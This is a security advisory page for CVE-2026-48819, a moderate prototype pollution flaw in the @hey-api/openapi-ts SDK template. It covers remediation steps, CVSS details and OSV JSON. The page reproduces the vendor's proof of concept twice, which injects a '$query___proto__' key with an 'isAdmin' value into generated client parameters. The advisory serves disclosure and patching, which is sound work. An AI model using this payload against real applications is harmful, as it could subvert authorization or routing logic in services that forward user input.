CVE-2026-48819: @hey api/openapi ts Prototype Chain Substitution Vulnerability

MODERATE
Advisory Identifier: GHSA-hhx9-57xq-r5rw
CVSS 4.8
CWE-1321
Published
Advisory Summary

CVE-2026-48819 is a MODERATE (CVSS 4.8) prototype chain substitution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting @hey api/openapi ts libraries in the npm ecosystem. The issue involves prototype chain substitution via unknown `$<slot>___proto__` key. Remediation is available by upgrading affected packages to version 0.97.3.

CVE-2026-48819 at a Glance

CVE Identifier CVE-2026-48819
GHSA Identifier GHSA-hhx9-57xq-r5rw
Severity MODERATE
CVSS v3.1 Base Score 4.8
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product @hey api/openapi ts
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 4.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-48819

To remediate this vulnerability, upgrade all affected @hey api/openapi ts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@hey-api/openapi-ts fixed: 0.97.3
npm install @hey-api/openapi-ts@0.97.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @hey-api/openapi-ts

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48819, inspect your project dependencies using npm:

npm ls @hey-api/openapi-ts

Analyze the terminal output to locate any version of @hey api/openapi ts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.97.3), your application is affected.

Note: The npm ls @hey-api/openapi-ts command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In @hey api/openapi ts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/openapi-ts@0.97.2 cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.

CVE-2026-48819 Affected @hey api/openapi ts Versions

1 component(s)
Fixed Versions:
0.97.3
Product / Package Ecosystem Affected Versions Fixed Version
@hey-api/openapi-ts
npm
< 0.97.3
0.97.3

References

Frequently Asked Questions

What is CVE-2026-48819?
CVE-2026-48819 is a security vulnerability in @hey api/openapi ts involving prototype chain substitution via unknown `$<slot>___proto__` key under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which @hey api/openapi ts versions are affected?
Affected versions include releases prior to 0.97.3 across affected packages: @hey-api/openapi-ts.
What version fixes CVE-2026-48819?
Upgrading to 0.97.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @hey-api/openapi-ts affected?
Yes, @hey-api/openapi-ts is affected in releases prior to 0.97.3. Upgrade your dependency to 0.97.3 or later.
What is the CVSS score of CVE-2026-48819?
CVE-2026-48819 has a CVSS v3.1 base score of 4.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-48819?
CVE-2026-48819 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-48819?
Run the dependency tree command: 'npm ls @hey-api/openapi-ts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hhx9-57xq-r5rw",
  "modified" : "2026-07-01T20:55:17Z",
  "published" : "2026-07-01T20:55:17Z",
  "aliases" : [ "CVE-2026-48819" ],
  "summary" : "@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key",
  "details" : "### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))\nif (extra) {\n  const [prefix, slot] = extra\n  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=<string>\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=<string>\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n  [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n  generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q);                           // \"hello\" — own property, normal\nconsole.log(q.isAdmin);                     // true — inherited via prototype chain\nconsole.log(Object.keys(q));               // [\"q\"] — own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n  Scenario: GET /search with fields [{ in:'query', key:'q' }]\n  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }\n\n  result.query.q         = hello\n  result.query.isAdmin   = true  ← inherited, NOT own\n  Object.keys(q)         = [ 'q' ]\n  for..in keys           = q, isAdmin\n  Object.getPrototypeOf  = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@hey-api/openapi-ts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.97.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hey-api/openapi-ts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T20:55:17Z",
    "nvd_published_at" : null
  }
}